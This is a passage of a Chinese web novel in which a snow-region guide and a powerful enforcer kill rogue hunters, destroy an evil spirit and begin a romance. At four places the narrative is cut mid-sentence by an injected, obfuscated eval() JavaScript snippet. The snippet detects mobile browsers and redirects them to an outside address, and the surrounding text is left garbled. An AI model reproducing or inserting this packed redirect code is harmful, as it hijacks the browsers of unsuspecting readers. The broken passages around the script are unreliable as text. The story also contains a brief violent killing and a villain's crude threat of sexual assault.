积雪仍然齐到膝盖，这种环境条件下，对抗起来，骑马的机动性和灵活性，远远高于汽车，逃跑也是。马只需要草料，汽车要加汽油，汽油在末世是昂贵的燃料资源。 两人刚下车，还没来得及观察门前的状况，大木屋的门就打开了。“今天来客人了。”为首的是一个胡子拉渣的中年男性，后面还有五个青年男性。“欢迎欢迎，快请进。” 为首这个人的面相，非常凶恶，不像是好客的人。那么热情，一定有诈。 秦叙在前，姜望柠在侧后，两人一前一后走进了木屋。 木屋里面是经典的餐馆格局，四五张方桌，每张方桌旁四把椅子。 但是，垃圾遍地，桌面吃剩的食物残渣，一看就不是正常的营业状态，萧条了好久。齐镇长的怀疑没错，这伙人没办法运营联络点的餐饮服务，才导致一片混乱。 两人找了个相对干净的桌子坐下。对面为首的中年男性率先开口，“这不是小镇的小姜导游吗。带队来做任务啊。想吃点什么，叔叔给你们炒。” “葛叔去哪了？”姜望柠问。葛叔是这个联络点以前的负责人，姜望柠带队碰过几回，是个厨艺很好，热心负责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467505|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的中年大叔。 “你葛叔出去买菜了。我做也是一样的。”对面回。 “胡说八道。这里的菜，都是小镇开车来直接配送的。葛叔不可能去买菜，你们对他做了什么!”姜望柠坐着怒斥。 “你个小贱货。敬酒不吃吃罚酒。你以为还在小镇呢，告诉你，这里全归老子管。来了就别想走。”对面的中年男性忽然变了脸色，身后的五个随从掏出了武器，枪口齐齐对着姜望柠和秦叙两人。 猎人中也分有异能的和没异能的。有异能的猎人，大多数是受不了铁幕局严苛的管理制度，才选择成为猎人自由职业。没异能的，通常会配备旧时代的武器，以重火力攻击代替异能，同样能四处行走。 对方明显属于第二种。 哪种类型的猎人更强，目前没有明显分界线。 有异能的猎人并不一定强过没异能的猎人，毕竟也有异能者受枪伤不治身亡的案例。两者对战，谁赢谁输，取决于异能者的异能类型和适用量级，或者非异能者的火力密集程度。 “你们杀了葛叔，还害别的猎人，抢别人的灵枢。你们是猎人的耻辱。”姜望柠平时唯唯诺诺，绝对不敢跟一群亡命之徒这么说话，现在却敢直面呛声，因为有秦叙在旁边，她底气也足。 “耻辱？早就听说，你小姜导游嫌贫爱富，我看你是寡妇当久了，只想攀高枝。接都城执法者的单，只收百分之二十定金。接我们个体户猎人的单，就要求提前打全款。现在看来，果然如此。原来是喜欢服务都城来的小白脸，嘿，小白脸，小姜导游服侍你舒服吗？”对面忽然转向秦叙。 秦叙意识到，对方说的小白脸指的是他。 对面中年男性转头，继续面向姜望柠，“我们这样，其实都是你害的。要不是你，收那么高的导游费，我们请不起你，就不会找不到变异体，也不会得不到灵枢，更不至于抢别人的灵枢。”倒承认得爽快。 这是先把姜望柠置于一个声誉高地，再抨击她的道德瑕疵。她的异能【溯息】用来找变异体，只是一条加速的途径而已，有钱可以找她，节省时间。 没有她，不是找不到变异体，只是需要多花点时间。 在雪原搜索，原本十天能碰到一只或一群变异体。用姜望柠的【溯息】异能指路，只需要一天，甚至还能指定变异体的种类和数量，她都能带路找到。这种服务本身就是稀缺的，要收费也无可厚非。 听到“嫌贫爱富”“寡妇”“攀高枝”“提前打全款”“是你害的”这些字眼，姜望柠双手握紧拳头，脸刷一下变红。不敢想象，秦叙就坐旁边，听到这些话，会怎么想她。 她是想在秦叙面前好好表现，争取得到他的青睐。被对面这个犯罪团伙头子一说，就哑火了。 “小兄弟，加入我们吧。这里天高海阔，没人约束，想干啥就干啥。还有这么漂亮的小美女作陪，放心，让你第一个享用，我们几个兄弟排你后面。用完了，把她拷起来，让她带我们找变异体，还不用给她钱，不找就打她。这小娘们找变异体，一找一个准。”对面中年男性喋喋不休，毕竟数量上，六对二，胜算更大。 秦叙一直保持沉默，此刻再也按耐不住。金属利刃从脚边升起，以优雅的弧线，在0.1秒内穿过面前几人的心脏和大脑。几人还来不及开枪，就应声倒在血泊中。小屋内恢复平静，只听见屋外呼啸的风声。 “聒噪。”这是秦叙从进门来，说的第一句话。 8. 霜骸巨像 面对地上横七竖八躺的几具尸体，姜望柠长吁一口气，心跳加快。 这是秦叙，第一次，在她面前杀人。 刚才对面男子的粗俗话语还在耳边回响，秦叙都听到了，他会作何感想？ 会认为姜望柠在向他献媚讨好吗？会因为姜望柠的遗孀身份而对她敬而远之吗？姜望柠此刻面无表情，笑也不是，哭也不是，无法开口缓和气氛，只想快点逃离这局促的当下。 秦叙起身，拿出手机四处拍照留证，见姜望柠坐着不动，说“来跟在我身后，万一他们还有同伙藏起来呢？我们先到处看看，我会给总部发定位，之后会有专门小队过来处理现场。”秦叙沉稳的声音将姜望柠从无尽遐想中拉回现实。 姜望柠起身，跟随秦叙四处勘察。 屋内只有刚刚结果的六具尸体。两人走到后院，后院地上有块巨大幕布平摊着，前方有祭坛一样的装置，都被雪覆盖。 本来难以发现，是姜望柠感受到幕布下方残存着大量怨念，令她精神恍惚。告知秦叙，清理覆雪掀开后才发现，幕布下方是个大坑，坑里有二十几包裹尸袋。 今天早上的这一切发生得太迅速，从小木屋窗外的雪人，到五公里外大木屋里叛变的猎人，再到这些裹尸袋。这些都是预期之外的突发事件。 巨大的信息量冲击着姜望柠的精神力，她发抖、恶心，忍不住转向一旁，吐出绿色的胆汁。 秦叙见状，掏出一瓶水，递给姜望柠，“没事的，有我在，你不用担心危险，我会保护好你。”一手扶着她，一手轻拍她的背。 姜望柠接过水，漱漱口，低声致谢。 我怎么可能不用担心危险。我只是一个小小的导游，为什么要看到这些画面。这些事情已经超出了我的心理承受能力。 姜望柠没说出口的牢骚好似被秦叙读心了一样，秦叙边轻柔抚摸她的背，边说“如果你以后，想进铁幕局，做执法者，这些事情，都是家常便饭。看多了就习惯了，就不恶心了。在你有能力完全独当一面之前，我会带着你，我会一直挡在你前面。” “有没有温和一点的岗位，我觉得执法者岗位太暴力了，安全舒服的后勤岗位更适合我。”姜望柠这还挑上了。 其实她最希望觉醒的是攻击系异能，这样就能直接与变异体面对面挑战，大杀四方，做一个远近闻名的女战神。而不是躲在后勤岗位，洒洒水做带路党。 能力不匹配，说再多都是空话，会被当成异想天开，姜望柠只能用心口不一的意愿来掩饰野心。 秦叙被她的话，逗笑了。 短暂的调情让姜望柠从情绪低潮中快速爬出，转换成工作模式，“刚进门，我感受到，之前六个人身上的气息，不同于正常人，他们有雪人身上的能量场。” “目前只知道，霜骸神像蕴含着某种客观规律。我猜测这种客观规律，是林海雪原绵延上万年的自然之道，万物生老病死，包括植物和动物。总能量在一个特定区域是相对守恒的。” 姜望柠顿了顿，继续说“然而变异体的出现，打破了这种自然之道的平衡。变异体从大地汲取过量资源，以维持自身能量。执法者或猎人小队剿灭变异体，同时也带走了灵枢。土地不堪重负，能量不断向外界流失。雪原发出悲鸣。” “所以，它让一部分猎人邪化，这些人内心的贪欲和恶念被激发，才做出了残杀同族的罪恶行径。”姜望柠说，“秦叙大人，觉得我的分析，有没有道理。” “有道理。那现在能找到霜骸神像的实体吗。如果不剿灭或带走，它以后会邪化更多猎人，对雪原地区的安全也有影响。”秦叙点点头。 叛变的猎人，究竟是因为霜骸神像的蛊惑害人，还是本身就是恶人，仅为了满足杀戮欲而害人，无从得知，争辩杀人原因毫无意义，不如直奔主题。 姜望柠闭上眼睛，单膝跪地，双手轻轻触摸雪地。一股绵延有韧劲的精神力从她手掌心出发，向四周蔓延，经过木屋、积雪、松树、杉树、溪流、土壤……，形成了以姜望柠为圆心，半径一百公里的经络根系，在她眼里是错综交织的金色细网。 姜望柠起身、抬手，金色细网从地底升起，升到与云层平齐。姜望柠单膝又重新跪下，手掌重重拍向雪地。金色细网向下倾塌，有高有低，变成了异能量等高线三维立体图。 最高的那一点，正是西南方向三十公里处的祁渊峰。 “是祁渊峰。那是雪原地区海拔最高的山峰，距这里三十公里，开车半小时。”姜望柠伸手，指向西南方向，隐隐约约看到有个小山尖冒头。 “我们现在就去。”秦叙将幕布盖好，和姜望柠一起走出木屋，坐上车。这之前，秦叙还放了一个类似定位器的东西，在内堂的桌子上。 “你的金属异能，能对付得了霜骸巨像吗，那毕竟不是生命体，没有心脏和大脑，可以穿透一击毙命。”姜望柠已经摸清了秦叙的攻击套路，边开车边疑问。 “去现场看看再说。”秦叙回。 车开到祁渊峰山脚，两人下车，向上望去，整个山体上，没有植被，也没有积雪覆盖。跟四周的被白雪覆盖长满松树杉树的山相比，显得可怜。 “我感受到，一股邪灵正压制着原本的山灵。邪灵就是霜骸神像的实体，像一团黑色雾气，弥漫在整个山体内。原本的山灵是白色雾气，沉在山底部，很脆弱。”姜望柠闭眼感受。 “你能让黑色雾气缩小范围吗？它太大了，我不好处理。”秦叙询问。 我能不能？我当然能，关键得看你的诚意。这已经是属于导游之外的工作范围，需要我耗费大量精神力。 如果做了没有收获，等于白出活，不如不做。虽然以前喜欢过他，虽然他一路上都很照顾。但交情是交情，交易是交易。只收了导游服务费，才不要额外出力，跟变异体直接对抗，那是另外的价格。 在姜望柠犹豫怎么跟秦叙谈价时，秦叙率先开口，“剿灭之后，从它身上捕获的灵枢，你一半我一半。除此之外，我再给你额外的二十万信标，作为服务费，毕竟这不是导游合同上规定的服务内容。” 怎么会有这么懂事的客户！能主动提出升级服务费用！出于对秦叙的信任，这次合同都没签，姜望柠一口答应，“好！不过我需要你，一起移动到山顶。” 话毕，秦叙单手抱着姜望柠的腰，另一只手遮住她的上半张脸，避免迎面而来的风和雪吹到眼睛里。不带一分钟，秦叙稳稳落在山顶，再缓缓松手，放姜望柠落地。 “话说，下次能不能给我准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467506|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备个滑雪眼罩。你遮住我的视线，我都看不到上山的风景了。”姜望柠小小抱怨。上山一片光秃秃，其实也毫无风景可言。 姜望柠双手起势，释放出自己的精神力实质，那是一颗拳头大的金色小球。小球在半空不断滚动，吸引脚底山体内的黑色雾气，源源不断聚集在它周围。 对邪灵来说，姜望柠的精神力有致命吸引力，她实在以身入饵。 大概有十分钟，黑色雾气越来越浓郁，变成了浓融黏腻的液态，在空中围绕着金色实质流动，形成了一个直径一米的圆球体。 “都在这儿了。我的精神力实质还在里面，当我把金色小球抽走后的一瞬间，你就要接手控制了。不然这些黑色雾气，会在几秒内逃逸扩散，我们离这么近，会被波及到。”姜望柠交代好。 “三！二！一！”数完一，姜望柠将球中心的金色实质收进身体，同时秦叙的金属片面积急速延展，在空中形成一个直径一米的正方体，将那团黑色浓融包裹。 代表精神力实质的金色小球一回到姜望柠身体，她就坐倒在地，这一过程耗费了大量精神力，现在她面色苍白，手脚无力。 秦叙正忙着对付邪灵，无暇他顾，“给我五分钟就好”。 秦叙隔空用力，压缩密闭不透气的正方体，先将里面的空气都排除，再不断减小正方体的体积。直到里面的黑色浓融，从液体变成固体。 最终，10颗金色灵枢和2颗白色灵枢从铁盒内缓缓升起。灵枢不受物质阻隔，可以自由穿过秦叙用金属片围成的密闭空间。 金属片回到秦叙的鞋周，内部飘起是一颗已经没有生命力的黑色实质球。这就是霜骸神像的残骸。 原来霜骸神像不产蓝色灵枢，是直接出金色灵枢。原来并不需要杀三百个霜骸神像。那1%的概率可能也是她胡诌的。 想起第一次面谈时，姜望柠信誓旦旦介绍霜骸神像时的自信，现在看来，简直是胡说八道张口就来。秦叙笑出了声。她连霜骸神像都没见过，就敢打包票，只为了接下我这单，真是生意奇才。 秦叙将10颗金色灵枢、2颗白色灵枢和霜骸神像的残骸，也就是那颗没有生命力的黑色实质球收进空间。 秦叙扶起姜望柠，横抱起她，“现在你还没有空间，属于你的5颗金色灵枢和1颗白色灵枢由我先帮你收好，那额外的20万信标也会和尾款8万一起打给你。”话毕，两人缓慢升空，以每秒不到一米的慢速飞向停在山脚的车。 上来时，还是光秃秃的祁渊峰，不到几分钟，现在已经长满了绿树，高高低低参差不齐。飘雪依旧，不到一个钟，这些植被都将被白雪覆盖。姜望柠感受到山体内充盈着白色的山灵。 她横卧在秦叙怀里，下山这次速度不快，没有风雪吹眼，可以尽情欣赏美景。 这是姜望柠第一次直接参与剿灭变异体，有小小成就感，更多的是疑问。 窗外的雪人、大木屋后院的祭坛、深坑的裹尸袋、从未见过的白色灵枢，太多疑点还没解决。这显然不是姜望柠这个层级有必要了解的。 她只知道，现在已经完成了秦叙的导游委托，今晚是这趟旅程的最后一夜。 任务已经完成，收获远超预期，今晚定会是轻松安眠的一夜好梦。 9. 你还喜欢我吗 秦叙将姜望柠安置在副驾座，自己坐到主驾，“你怎么这么弱，每次干了活都累成这样。我看你就是体差了点，领悟力还可以。能跟我上力量课吧，哥哥免费带你练肌肉。”离开一段时间，车排气管已经结冻，秦叙点火，给车加热。 姜望柠无可反驳，想来，这个人的语言体系怎么变来变去，有时候柔情蜜意，有时候骚话连天，有时候直男发言。 她知道自己的不足，但不需要这么直白地指出来。 “我在附近有个隐秘据点，崖壁小屋，相当于我的家，今晚好好吃顿大餐，睡顿饱觉。明天就启程回雪原小镇了。”姜望柠不想延续体能差的话题，转而安排起了今晚的住宿。“按我说的方向开，半小时到。” 车开到一处陡峭的山崖底部，姜望柠取出车载冰箱剩余的全部食材，秦叙一把接过，问：“这里并没有房子之类的建筑。你的隐秘据点在哪里呢？” “都说是隐秘了，那肯定是不会被轻易发现的。”姜望柠带路，沿着山崖后的一条秘密小道，爬上了半山腰。 据点并非建于地表，而是巧妙利用了半山腰上向内凹陷的天然山洞，并进行了地面平整和立面加固。完全隐藏在山峰和雪原之中，没人带路的话，难以找到。 站在半山腰一处隐秘点的铁门前，姜望柠用钥匙打开，推开门，看到眼前的一幕，秦叙嘴角浮现一丝若隐若现的笑意。 巨大的透明落地窗将林海雪原的磅礴景色纳入小屋，框成一幅诗意的巨画。 窗前放置了一条白色沙发，正对景色。 地面是温暖的浅灰色自流平水泥，墙壁则保留了原始岩壁的机理。 客厅空间的中心，是一张树墩制成的桌子，表面有年轮，很像秦叙小木屋里的树墩茶几。桌子上有大量蜡烛，姜望柠一一点燃，室内亮起暖黄的烛光。 一侧墙壁上，有石砌的壁炉，旁边堆放着整墙的干柴。 姜望柠接过食材，放在客厅的开放式灶台的处理台上。走去壁炉，放入几块柴，用点火枪点燃。室内的气温缓慢升高。 “壁炉连接着地面下的暖气管，呆会儿整个室内都会暖和起来。今晚你睡这里。”姜望柠指了指巨大落地窗前的白色沙发。 “那你呢？”秦叙好奇。 “我睡里面的卧室。”姜望柠不避讳。 客厅空间右侧有一排木板阻断，里面想必就是她的卧室，“我可以进去参观吗？”秦叙笑道。 “可以。请欣赏我的室内设计。”姜望柠有点自得的语气。 卧室相对客厅来说，更私密，只有一扇较小的横条长窗，引入自然光源。 一张低矮的单人木床，床上铺好的是柔软的米白色纯棉三件套。 还有一张边几，上面摆了几根蜡烛。 一杆木质衣帽架，挂着几件羽绒服和羊绒衫。 卧室的家居非常少，没有多余装饰，多看几眼就昏昏欲睡。 墙面可能更加粗糙，睡这里像精致的山顶洞人。 卧室里面还有个门，推开竟然是一个装修现代化的卫生间，有白瓷洗漱台、马桶和浴缸。秦叙好奇，她从哪里找的材料，谁帮她砌墙的。 “看不出来，竟然还有这样的世外桃源，都是你自己手搓的吗？”秦叙兴奋问。 “是的，这里有风力发电和太阳能板，常年收集雪水加热，所以能淋浴，阳光充足的时候甚至还能泡热水澡。末日下，我的理想就是，不上班，蜗居在这里，虚度光阴。”姜望柠边走出卧室，边阐述理想。 “一个人住，不寂寞吗？”秦叙跟着走出，坐倒在沙发上，话锋一转，面向开放式厨房岛台说。 “我有快乐小玩具。”姜望柠站在岛台旁，边备菜边面无表情回答。 “那现在你还喜欢我吗？”秦叙睁着眼睛望向她。 原来他还记得高中收到过姜望柠情书的事情。她以为，已经过去八九年，他会慢慢遗忘这些年少悸动的尴尬，更何况只是姜望柠单方面的相思，因为他从来没有明确表现出过正面积极的回应。 我以前喜欢你，因为你帅、优秀，是全校女生的梦中情人，但平凡的我，担心自己表现平平，不足以占据你全部的心意。喜欢就是要全盘占据，只占一点点我宁愿不要。 我现在也喜欢你，因为你是都城最强执法者，你有顶级的末世生存能力，跟你在一起，一定会生活得安全又惬意。 但谁知道这些年你经历过什么，谁知道你有过多少情人，谁知道你之后会不会白嫖我的异能为你服务。 而且喜欢你的人应该是前赴后继络绎不绝，从来不缺我一个。 所以，那也仅仅是一份喜欢而已。喜欢这种感情，就像内裤，你可以有，但不能专门告诉别人你有。否则听起来像神经病。 只能守着这份喜欢，在末世里挣扎求生，努力精进异能，争取提升经济，改善生活水平。对你的喜欢，只是努力生活的动力，而已。 “这个问题，问得好没意思。”姜望柠手上备菜动作没停，企图打哈哈混过去。 “我一直都喜欢你，这躺任务结束后，跟我一起回都城吧。登记成我的伴侣，我推荐你直接进入铁幕局。”秦叙认真地说。 “这是，在表白吗？”姜望柠终于停下切菜动作。进铁幕局，真是一个诱人的条件，也是姜望柠一直以来的奋斗目标，意味着可以背靠强大的组织。 “是。”秦叙坚定有力。 “一直？那具体是从什么时候开始的。”姜望柠不可置信，她以为秦叙是游戏人间的高岭之花。现在的观感是，秦叙是因为姜望柠这几天展示出的可利用价值，才表白的。对他来说，她是工具人吗？他的喜欢也太廉价了。 “从你给我写的第一封情书开始。”秦叙认真说，同时从他的空间中掏出这封情书。 一张小小的A5纸，边框有精心剪过的花纹，手写楷体字的少女心事跃然纸面。 姜望柠羞红了脸，想冲上去抢过来，扔进燃烧的壁炉里，那张纸，对她来说意味着年少时期的不自量力。 这么古老的道具，他为什么还留着，现在只有三种可能情况： 第一种可能，他是经验丰富的情场老手。空间里收藏着来自人生各阶段身边女性的暧昧信物，只等合适的时机拿出来，一举俘获芳心，达成短期目的。真是危险份子！ 第二种可能，他是痴情种子选手。假如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467507|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，的确如他所说，很早开始喜欢姜望柠，那当年为什么对她蓬勃的爱意视若无睹？为什么没有做出任何主动接受爱意的举动？之后几年为什么彻底消失在了她的生活？难道他有什么不可告人的难言之隐？ 第三种可能，他能【言出法随】。只要他说话，世界就会遵照他的语言信息，变成真实存在的物质现实。其实当年的情书早就被丢在了垃圾桶，现在他手上这封，只不过是【言出法随】的复制产物。 姜望柠一时语塞，不知如何作回。 “当然，我们这么多年没见，也没联系，相处才短短三天，你没办法完全信任我，可以理解。不然前两晚睡觉，你也不会用单人结界。有自我保护意识，这很好。”秦叙的笑意溢出双眸，从沙发起身，径直走向岛台，一手轻抚姜望柠的耳垂，一手搂着她的腰。 “不过，可以给我一个期限，我们从男女朋友做起。毕竟，我们这三天的互动，除了没同床共枕，其他方面跟男女朋友几乎没有区别。我可以做你的男朋友，保护你，照顾你。先试一段时间。等你完全相信我了，再正式结为伴侣。”秦叙提出一个折中的方案，摸着腰的手继续向下移动。 姜望柠没有正面回复，向后退一步，忍不住问，“既然你当时就喜欢我，那为什么对我的情书表白，没有回应。” “因为当时有不得已的难处，等待合适的时候，我都会告诉你。”秦叙把姜望柠的不拒绝，默认为同意。 管它明天后天台风天，今天先爽了再说。一个冒着热气的大活人，总比玩具好玩。仔细想想，好像也不亏，权当是实现了年少时未竟的梦想。 “好。”姜望柠思考片刻后，点了点头。 两人吃了饭，一先一后洗了澡，一同呈汤勺抱躺在了姜望柠的单人小床上。 姜望柠枕着秦叙的手臂，这温暖厚实的怀抱带来满满的安心。 屋外妖风四起，夹杂着雪原冬夜特有的寒意。 妖风吹向山峰，悬崖发出沉闷的低吟，好像古老的歌谣。 妖风吹向雪地，积雪位移，形成凹凸不平的雪堆。 妖风吹向树林，吹落树枝上的落雪，抖擞散开，露出翠绿的针叶。 这是两年以来，姜望柠睡得最香的一觉。 朦胧恍惚中，不知是身边人断断续续的梦话，还是自己在做梦。 “那时我年轻又愚蠢，觉得自己前途未卜，不敢担负你的未来，辜负了你汹涌的年少爱意。那是最宝贵、最真挚的情谊，我一直都记着。” “等我明白过来，你已经……结婚了。我尊重你的选择，只希望你幸福。我很羡慕他，能得到这样的你。” “大海啸末世后，我拼命往上爬，成为所谓的最强，一部分是为了生存，更大一部分，是希望有一天强大到，足以保护你，有资格站在你身边。” “得知他阵亡的消息，我为你心痛，也看到了渺茫的希望。我动用一切资源找到你，很幸运，你还在，你过得很好。” “我不是来施舍保护的，我是来请求你，允许我站在你身边，爱护你，滋养你。你能成为，与我并肩的，最强大的战士。” “明天天亮，我有个礼物要给你。” 10. 礼物 两人平静地拥抱着睡了一夜。 “他不会真的有什么难言之隐吧。”清晨，姜望柠醒来，还在秦叙怀里躺着，就想到了这点。 异性男女，同床而眠一整晚上。只抱着，没有其他任何过分举动，甚至天亮时还都穿着全套秋衣。 姜望柠的情史简单，此前只有过丈夫一个男人。而她对秦叙的情史，并不了解。从高中毕业后，到现在，有八年时间。以他这样的条件，每年换一个新伴侣都不足为奇。 姜望柠的脑内幻想小剧场疯狂加戏，给自己脑补出一个非典型床友的人设。 秦叙不主动说，姜望柠也不好意思不主动问。 秦叙也醒了，看着怀里的姜望柠，明明是静静躺着，却睁着眼睛望向天花板，咕噜咕噜转。 “在想什么呢？柠柠。”秦叙伸个懒腰问。 “在想呆会吃什么。”姜望柠绝对不会承认，她对秦叙的情史有浓烈的好奇心。 “大海啸后，你去过方舟吗？”秦叙话锋一转。 方舟是原中穹国的首都，位于北方心脏腹地。大海啸后，中穹国一半国土被海水湮灭。退潮后，位于南边的那一半国土失去了政治、经济和文化各方面的意义，只剩下一片泥泞和废墟。中北国接管了中穹国剩余的北方国土，将原首都名改为方舟，意为承载文明火种的最后避难所。 “去过的。自从来雪原这里当导游，我每个月都去一次，一次两三天。很多新奇玩意只有在都城方舟才有得买，有关变异体和政策的最新动态也只有那儿才能了解到。雪原毕竟只是一个边陲小镇，物资和交流都不算发达。要让我的服务保持竞争力，必须时常去方舟更新装备和知识，升级自己。”姜望柠细细介绍自己眼中的都城方舟。 秦叙用力抱了抱姜望柠，说：“那太好了。我也要回方舟，这次跟我一起走吧。” “好啊。正好也快到我一月一度去都城的时机了。你买票了吗？要不要一起买票，还能连座。”姜望柠打个哈欠。 “买票？你平时都怎么去都城的呢？”秦叙问。 “先从雪原镇往南开车一百公里到兴安市，再买从兴安市到方舟的火车票，这趟车是兴安地区与都城的交通联络线，一周只发一趟，就在每周五上午十点。坐六个小时火车就到了。”姜望柠懒洋洋答。 “这样啊。知道了，我来买票吧。周五正好是后天。这么说，我还能在雪原跟你一起呆两天。”秦叙边笑边搂更紧了。 姜望柠推开拥抱，起身走出卧室，准备早餐。 —— 下了一晚上雪的林海奇观，从透明大落地窗，一览无余展示在眼前。空旷、寂静。 与此同时，秦叙用专用联络器，跟远在都城的秘书用文字交代：“取消明天在雪原的直升机接送。帮我定两张后天从兴安市到方舟的火车票，要最好的座位。谢谢。” 好家伙！为什么不直接请姜望柠坐她从没坐过的直升机？难道他是想体验姜望柠作为普通群众的生活方式？ 早饭间，喝粥时，秦叙拿出一枚精致的白金戒指，说：“我看你的左手无名指一直戴着铃兰戒指，是老公送的吗？” “是啊。这是我和他的结婚戒指。我舍不得取下来”姜望柠不知道为什么秦叙突然提起这个。 听到“舍不得”三个字，秦叙心里顿了顿，表情一瞬间抽搐凝固，又马上恢复了平静。 秦叙放下勺子，缓缓拿起姜望柠的右手，将这枚白金戒指戴在了姜望柠的无名指上，说：“这是【御灵盾】。跟你的【透明单人保护结界】作用相同，结界自带的电击，只能防备基础物理攻击。而【御灵盾】除物理攻击之外，还可以抵御更高级别的元素攻击。用法是，在心里默念三遍我的名字，【御灵盾】就会出现在周围，形成以你为圆心的保护膜。” “这是礼物吗？是作为给导游身份的任务完成奖励，还是作为给女朋友身份的定情信物呢？”姜望柠问。果然还是都城人的宝贝多。要是对他再捧一点，会不会有更多源源不断的宝物向她涌来呢？这走捷径的感觉令人上瘾！ 秦叙被姜望柠故作骄矜的语气，逗得闷闷一笑。 —— 两人吃完饭，收拾好，离开崖壁小屋，驱车返回雪原小镇。 临走前，秦叙随手扔了一个【透明建筑结界】，护住小屋所在的整个山峰。他想保护好她珍视的亲手打造的居住空间。 “你为什么不送这个给我呀，这个保护范围，看起来更广。”姜望柠得寸进尺问。 “建筑结界需要巨量灵力维持。以你目前的能力，即使拥有了，也驱使不了。”秦叙像在安抚要糖吃的小朋友。 “切！小气！”姜望柠好久没表现得这么不知深浅，好像一下子从一个人单打独斗的灭绝师太，变成了有人照顾的娇憨笼中鸟。 —— 疾驰的车碾过路上的积雪，路旁的雪堆得比车窗还高，雪地泛起细碎的光。穿过杉树林时，光线忽然暗下来，笔直高耸的树干，像在欢送旅人远行。 秦叙手握方向盘，目光落在前方无限延伸的路上，偶尔侧过头用余光确认身边人的存在。姜望柠将车靠背压低，眼神放空，惬意地欣赏着窗外飞驰后退的雪景。 车内温暖的空气夹杂着淡淡的松香，旧时代的热歌烘托奇异的安宁感。 某个瞬间，紧绷的神经悄然松弛，姜望柠脑海中那些关于死亡、逃离、斗争的尖锐记忆，像是被这片广袤的雪原吸收消融了。 好像从来没有过大海啸、没有变异体、没有南岭的废墟，没有时刻悬在心头的恐惧。 他和她仿佛只是芸芸众生中的一对普通情侣。趁着冬日假期，开着装满行李的车，奔向林海深处的特色雪景民宿休闲放松。 姜望柠轻轻动了一下，换了个更舒服的姿势。秦叙看到这一幕，嘴角不自觉扬起微笑弧度。 这回程路上的短暂平静，美好，不忍打破。两人心照不宣沉溺其中，坐在车里，安静驶向未知的前方。 路的尽头是什么，此刻似乎不那么重要。重要的是，他们现在在一起，并且暂时安全。 —— 回到雪原小镇的碉堡大楼，车停在外面，两人并行进入大楼。 秦叙说：“我不去住20楼了。这两晚上，我就睡在你住的地方” “好啊。但我的房间很简陋的哦，不要嫌弃就行。”姜望柠暗地里希望，秦叙能把他不花钱的那两晚住宿补贴返给她。打工人，出差魂，能占到小便宜令人斗志满满。 “我们现在先去齐镇长秘书那里完成合同尾款支付流程。但请不要跟她提那额外20万的事情，因为我每成一单，必须得按总实收金额，付给镇上10% ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467508|185518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的担保费。”姜望柠对于钱财，有一套自己的计算方案。 “好。我只当她面付给你8万信标。那剩下的20万悄悄地给你。”秦叙被姜望柠灵活的财务底线笑到了。 两人在大楼5层的会议室跟林澜小姐，也就是齐镇长的秘书，完成了尾款支付流程。林澜是齐镇长的侄女，同时也担任小镇秘书，负责小镇总体财务、例行安全维护、租金和担保费管理这些杂务，是齐镇长的得力帮手。 姜望柠在现场给林澜小姐出示的镇上账户转了1万信标，作为这单导游任务的担保费。 —— 两人离开时，林澜小姐出声叫住秦叙，说：“秦叙大人，请稍等一会，齐镇长有事想跟您谈谈。需要多耽误您五分钟时间。” 话音刚落，齐镇长出现在会议室门口，林澜抱着文件离开，将会议室现场交给齐镇长。 姜望柠一点也不关心齐镇长想跟秦叙说什么，也准备离开，被秦叙叫住了。 齐镇长坐定，看到秦叙拦住姜望柠，说：“秦叙大人，接下来的事情只与您有关。小姜导游不必在这里的，她可以回去休息了。” 秦叙把姜望柠按回座位，说：“我能听的事情，她也能听。姜小姐是我的伴侣。齐镇长有事请尽可说。” 齐镇长送上祝福：“看来是优秀的小姜用她扎实的导游技能赢得了您的青睐。恭喜恭喜！小姜导游在我们这里有口皆碑，相信她会继续向您提供一流专属的伴侣服务。” “闲聊就到这里。秦叙大人，我们雪原小镇正在经历一场看不见的巨变。叛变的猎人越来越多，昨天大人在雪原腹地联络处木屋解决的六人，只是其中的一个小分支。”齐镇长话锋一转。 